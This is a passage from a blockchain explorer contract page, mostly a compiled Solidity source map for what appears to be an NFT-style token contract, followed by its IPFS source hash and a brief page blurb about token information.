-1;;;;;44384:36:0;;;;;:72;;860:10;;44435:4;;44441:7;;44450:5;;44384:72;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;-1:-1:-1;44384:72:0;;;;;;;;-1:-1:-1;;44384:72:0;;;;;;;;;;;;:::i;:::-;;;44380:480;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;44618:6;:13;44635:1;44618:18;44614:235;;44664:40;;-1:-1:-1;;;44664:40:0;;;;;;;;;;;44614:235;44807:6;44801:13;44792:6;44788:2;44784:15;44777:38;44380:480;-1:-1:-1;;;;;;44503:55:0;-1:-1:-1;;;44503:55:0;;-1:-1:-1;44380:480:0;44200:667;;;;;;:::o;20990:723::-;21046:13;21267:5;21276:1;21267:10;21263:53;;-1:-1:-1;;21294:10:0;;;;;;;;;;;;-1:-1:-1;;;21294:10:0;;;;;20990:723::o;21263:53::-;21341:5;21326:12;21382:78;21389:9;;21382:78;;21415:8;;;;:::i;:::-;;-1:-1:-1;21438:10:0;;-1:-1:-1;21446:2:0;21438:10;;:::i;:::-;;;21382:78;;;21470:19;21502:6;-1:-1:-1;;;;;21492:17:0;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21492:17:0;;21470:39;;21520:154;21527:10;;21520:154;;21554:11;21564:1;21554:11;;:::i;:::-;;-1:-1:-1;21623:10:0;21631:2;21623:5;:10;:::i;:::-;21610:24;;:2;:24;:::i;:::-;21597:39;;21580:6;21587;21580:14;;;;;;;;:::i;:::-;;;;:56;-1:-1:-1;;;;;21580:56:0;;;;;;;;-1:-1:-1;21651:11:0;21660:2;21651:11;;:::i;:::-;;;21520:154;;35744:163;35867:32;35873:2;35877:8;35887:5;35894:4;36305:20;36328:13;-1:-1:-1;;;;;36356:16:0;;36352:48;;36381:19;;-1:-1:-1;;;36381:19:0;;;;;;;;;;;36352:48;36415:8;36427:1;36415:13;36411:44;;36437:18;;-1:-1:-1;;;36437:18:0;;;;;;;;;;;36411:44;-1:-1:-1;;;;;36806:16:0;;;;;;:12;:16;;;;;;;;:44;;-1:-1:-1;;36865:49:0;;-1:-1:-1;;;;;36806:44:0;;;;;;;36865:49;;;-1:-1:-1;;;;;36806:44:0;;;;;;36865:49;;;;;;;;;;;;;;;;36931:25;;;:11;:25;;;;;;:35;;-1:-1:-1;;;;;;36981:66:0;;;;-1:-1:-1;;;37031:15:0;36981:66;;;;;;;;;;36931:25;37128:23;;;37172:4;:23;;;;-1:-1:-1;;;;;;37180:13:0;;13665:19;:23;;37180:15;37168:641;;;37216:314;37247:38;;37272:12;;-1:-1:-1;;;;;37247:38:0;;;37264:1;;37247:38;;37264:1;;37247:38;37313:69;37352:1;37356:2;37360:14;;;;;;37376:5;37313:30;:69::i;:::-;37308:174;;37418:40;;-1:-1:-1;;;37418:40:0;;;;;;;;;;;37308:174;37525:3;37509:12;:19;37216:314;;37611:12;37594:13;;:29;37590:43;;37625:8;;;37590:43;37168:641;;;37674:120;37705:40;;37730:14;;;;;-1:-1:-1;;;;;37705:40:0;;;37722:1;;37705:40;;37722:1;;37705:40;37789:3;37773:12;:19;37674:120;;37168:641;-1:-1:-1;37823:13:0;:28;37873:60;34458:369;-1:-1:-1;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:131:1;-1:-1:-1;;;;;;88:32:1;;78:43;;68:71;;135:1;132;125:12;150:245;208:6;261:2;249:9;240:7;236:23;232:32;229:52;;;277:1;274;267:12;229:52;316:9;303:23;335:30;359:5;335:30;:::i;:::-;384:5;150:245;-1:-1:-1;;;150:245:1:o;592:160::-;657:20;;713:13;;706:21;696:32;;686:60;;742:1;739;732:12;686:60;592:160;;;:::o;757:180::-;813:6;866:2;854:9;845:7;841:23;837:32;834:52;;;882:1;879;872:12;834:52;905:26;921:9;905:26;:::i;942:258::-;1014:1;1024:113;1038:6;1035:1;1032:13;1024:113;;;1114:11;;;1108:18;1095:11;;;1088:39;1060:2;1053:10;1024:113;;;1155:6;1152:1;1149:13;1146:48;;;-1:-1:-1;;1190:1:1;1172:16;;1165:27;942:258::o;1205:269::-;1258:3;1296:5;1290:12;1323:6;1318:3;1311:19;1339:63;1395:6;1388:4;1383:3;1379:14;1372:4;1365:5;1361:16;1339:63;:::i;:::-;1456:2;1435:15;-1:-1:-1;;1431:29:1;1422:39;;;;1463:4;1418:50;;1205:269;-1:-1:-1;;1205:269:1:o;1479:231::-;1628:2;1617:9;1610:21;1591:4;1648:56;1700:2;1689:9;1685:18;1677:6;1648:56;:::i;1715:180::-;1774:6;1827:2;1815:9;1806:7;1802:23;1798:32;1795:52;;;1843:1;1840;1833:12;1795:52;-1:-1:-1;1866:23:1;;1715:180;-1:-1:-1;1715:180:1:o;2108:173::-;2176:20;;-1:-1:-1;;;;;2225:31:1;;2215:42;;2205:70;;2271:1;2268;2261:12;2286:254;2354:6;2362;2415:2;2403:9;2394:7;2390:23;2386:32;2383:52;;;2431:1;2428;2421:12;2383:52;2454:29;2473:9;2454:29;:::i;:::-;2444:39;2530:2;2515:18;;;;2502:32;;-1:-1:-1;;;2286:254:1:o;2727:186::-;2786:6;2839:2;2827:9;2818:7;2814:23;2810:32;2807:52;;;2855:1;2852;2845:12;2807:52;2878:29;2897:9;2878:29;:::i;2918:328::-;2995:6;3003;3011;3064:2;3052:9;3043:7;3039:23;3035:32;3032:52;;;3080:1;3077;3070:12;3032:52;3103:29;3122:9;3103:29;:::i;:::-;3093:39;;3151:38;3185:2;3174:9;3170:18;3151:38;:::i;:::-;3141:48;;3236:2;3225:9;3221:18;3208:32;3198:42;;2918:328;;;;;:::o;3251:127::-;3312:10;3307:3;3303:20;3300:1;3293:31;3343:4;3340:1;3333:15;3367:4;3364:1;3357:15;3383:632;3448:5;-1:-1:-1;;;;;3519:2:1;3511:6;3508:14;3505:40;;;3525:18;;:::i;:::-;3600:2;3594:9;3568:2;3654:15;;-1:-1:-1;;3650:24:1;;;3676:2;3646:33;3642:42;3630:55;;;3700:18;;;3720:22;;;3697:46;3694:72;;;3746:18;;:::i;:::-;3786:10;3782:2;3775:22;3815:6;3806:15;;3845:6;3837;3830:22;3885:3;3876:6;3871:3;3867:16;3864:25;3861:45;;;3902:1;3899;3892:12;3861:45;3952:6;3947:3;3940:4;3932:6;3928:17;3915:44;4007:1;4000:4;3991:6;3983;3979:19;3975:30;3968:41;;;;3383:632;;;;;:::o;4020:451::-;4089:6;4142:2;4130:9;4121:7;4117:23;4113:32;4110:52;;;4158:1;4155;4148:12;4110:52;4198:9;4185:23;-1:-1:-1;;;;;4223:6:1;4220:30;4217:50;;;4263:1;4260;4253:12;4217:50;4286:22;;4339:4;4331:13;;4327:27;-1:-1:-1;4317:55:1;;4368:1;4365;4358:12;4317:55;4391:74;4457:7;4452:2;4439:16;4434:2;4430;4426:11;4391:74;:::i;4476:254::-;4541:6;4549;4602:2;4590:9;4581:7;4577:23;4573:32;4570:52;;;4618:1;4615;4608:12;4570:52;4641:29;4660:9;4641:29;:::i;:::-;4631:39;;4689:35;4720:2;4709:9;4705:18;4689:35;:::i;:::-;4679:45;;4476:254;;;;;:::o;4735:667::-;4830:6;4838;4846;4854;4907:3;4895:9;4886:7;4882:23;4878:33;4875:53;;;4924:1;4921;4914:12;4875:53;4947:29;4966:9;4947:29;:::i;:::-;4937:39;;4995:38;5029:2;5018:9;5014:18;4995:38;:::i;:::-;4985:48;;5080:2;5069:9;5065:18;5052:32;5042:42;;5135:2;5124:9;5120:18;5107:32;-1:-1:-1;;;;;5154:6:1;5151:30;5148:50;;;5194:1;5191;5184:12;5148:50;5217:22;;5270:4;5262:13;;5258:27;-1:-1:-1;5248:55:1;;5299:1;5296;5289:12;5248:55;5322:74;5388:7;5383:2;5370:16;5365:2;5361;5357:11;5322:74;:::i;:::-;5312:84;;;4735:667;;;;;;;:::o;5407:260::-;5475:6;5483;5536:2;5524:9;5515:7;5511:23;5507:32;5504:52;;;5552:1;5549;5542:12;5504:52;5575:29;5594:9;5575:29;:::i;:::-;5565:39;;5623:38;5657:2;5646:9;5642:18;5623:38;:::i;5672:356::-;5874:2;5856:21;;;5893:18;;;5886:30;5952:34;5947:2;5932:18;;5925:62;6019:2;6004:18;;5672:356::o;6033:380::-;6112:1;6108:12;;;;6155;;;6176:61;;6230:4;6222:6;6218:17;6208:27;;6176:61;6283:2;6275:6;6272:14;6252:18;6249:38;6246:161;;6329:10;6324:3;6320:20;6317:1;6310:31;6364:4;6361:1;6354:15;6392:4;6389:1;6382:15;6246:161;;6033:380;;;:::o;7305:127::-;7366:10;7361:3;7357:20;7354:1;7347:31;7397:4;7394:1;7387:15;7421:4;7418:1;7411:15;7437:128;7477:3;7508:1;7504:6;7501:1;7498:13;7495:39;;;7514:18;;:::i;:::-;-1:-1:-1;7550:9:1;;7437:128::o;8613:125::-;8653:4;8681:1;8678;8675:8;8672:34;;;8686:18;;:::i;:::-;-1:-1:-1;8723:9:1;;8613:125::o;10024:168::-;10064:7;10130:1;10126;10122:6;10118:14;10115:1;10112:21;10107:1;10100:9;10093:17;10089:45;10086:71;;;10137:18;;:::i;:::-;-1:-1:-1;10177:9:1;;10024:168::o;11024:185::-;11066:3;11104:5;11098:12;11119:52;11164:6;11159:3;11152:4;11145:5;11141:16;11119:52;:::i;:::-;11187:16;;;;;11024:185;-1:-1:-1;;11024:185:1:o;11332:1301::-;11609:3;11638:1;11671:6;11665:13;11701:3;11723:1;11751:9;11747:2;11743:18;11733:28;;11811:2;11800:9;11796:18;11833;11823:61;;11877:4;11869:6;11865:17;11855:27;;11823:61;11903:2;11951;11943:6;11940:14;11920:18;11917:38;11914:165;;-1:-1:-1;;;11978:33:1;;12034:4;12031:1;12024:15;12064:4;11985:3;12052:17;11914:165;12095:18;12122:104;;;;12240:1;12235:320;;;;12088:467;;12122:104;-1:-1:-1;;12155:24:1;;12143:37;;12200:16;;;;-1:-1:-1;12122:104:1;;12235:320;10971:1;10964:14;;;11008:4;10995:18;;12330:1;12344:165;12358:6;12355:1;12352:13;12344:165;;;12436:14;;12423:11;;;12416:35;12479:16;;;;12373:10;;12344:165;;;12348:3;;12538:6;12533:3;12529:16;12522:23;;12088:467;;;;;;;12571:56;12596:30;12622:3;12614:6;12596:30;:::i;:::-;-1:-1:-1;;;11274:20:1;;11319:1;11310:11;;11214:113;12571:56;12564:63;11332:1301;-1:-1:-1;;;;;11332:1301:1:o;13045:500::-;-1:-1:-1;;;;;13314:15:1;;;13296:34;;13366:15;;13361:2;13346:18;;13339:43;13413:2;13398:18;;13391:34;;;13461:3;13456:2;13441:18;;13434:31;;;13239:4;;13482:57;;13519:19;;13511:6;13482:57;:::i;:::-;13474:65;13045:500;-1:-1:-1;;;;;;13045:500:1:o;13550:249::-;13619:6;13672:2;13660:9;13651:7;13647:23;13643:32;13640:52;;;13688:1;13685;13678:12;13640:52;13720:9;13714:16;13739:30;13763:5;13739:30;:::i;13804:135::-;13843:3;13864:17;;;13861:43;;13884:18;;:::i;:::-;-1:-1:-1;13931:1:1;13920:13;;13804:135::o;13944:127::-;14005:10;14000:3;13996:20;13993:1;13986:31;14036:4;14033:1;14026:15;14060:4;14057:1;14050:15;14076:120;14116:1;14142;14132:35;;14147:18;;:::i;:::-;-1:-1:-1;14181:9:1;;14076:120::o;14201:112::-;14233:1;14259;14249:35;;14264:18;;:::i;:::-;-1:-1:-1;14298:9:1;;14201:112::o;14318:127::-;14379:10;14374:3;14370:20;14367:1;14360:31;14410:4;14407:1;14400:15;14434:4;14431:1;14424:15
Swarm Source
ipfs://2473c190bb3398900a6fbe80ee893555d6f2090e5474dacd1bca32befe369a97
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.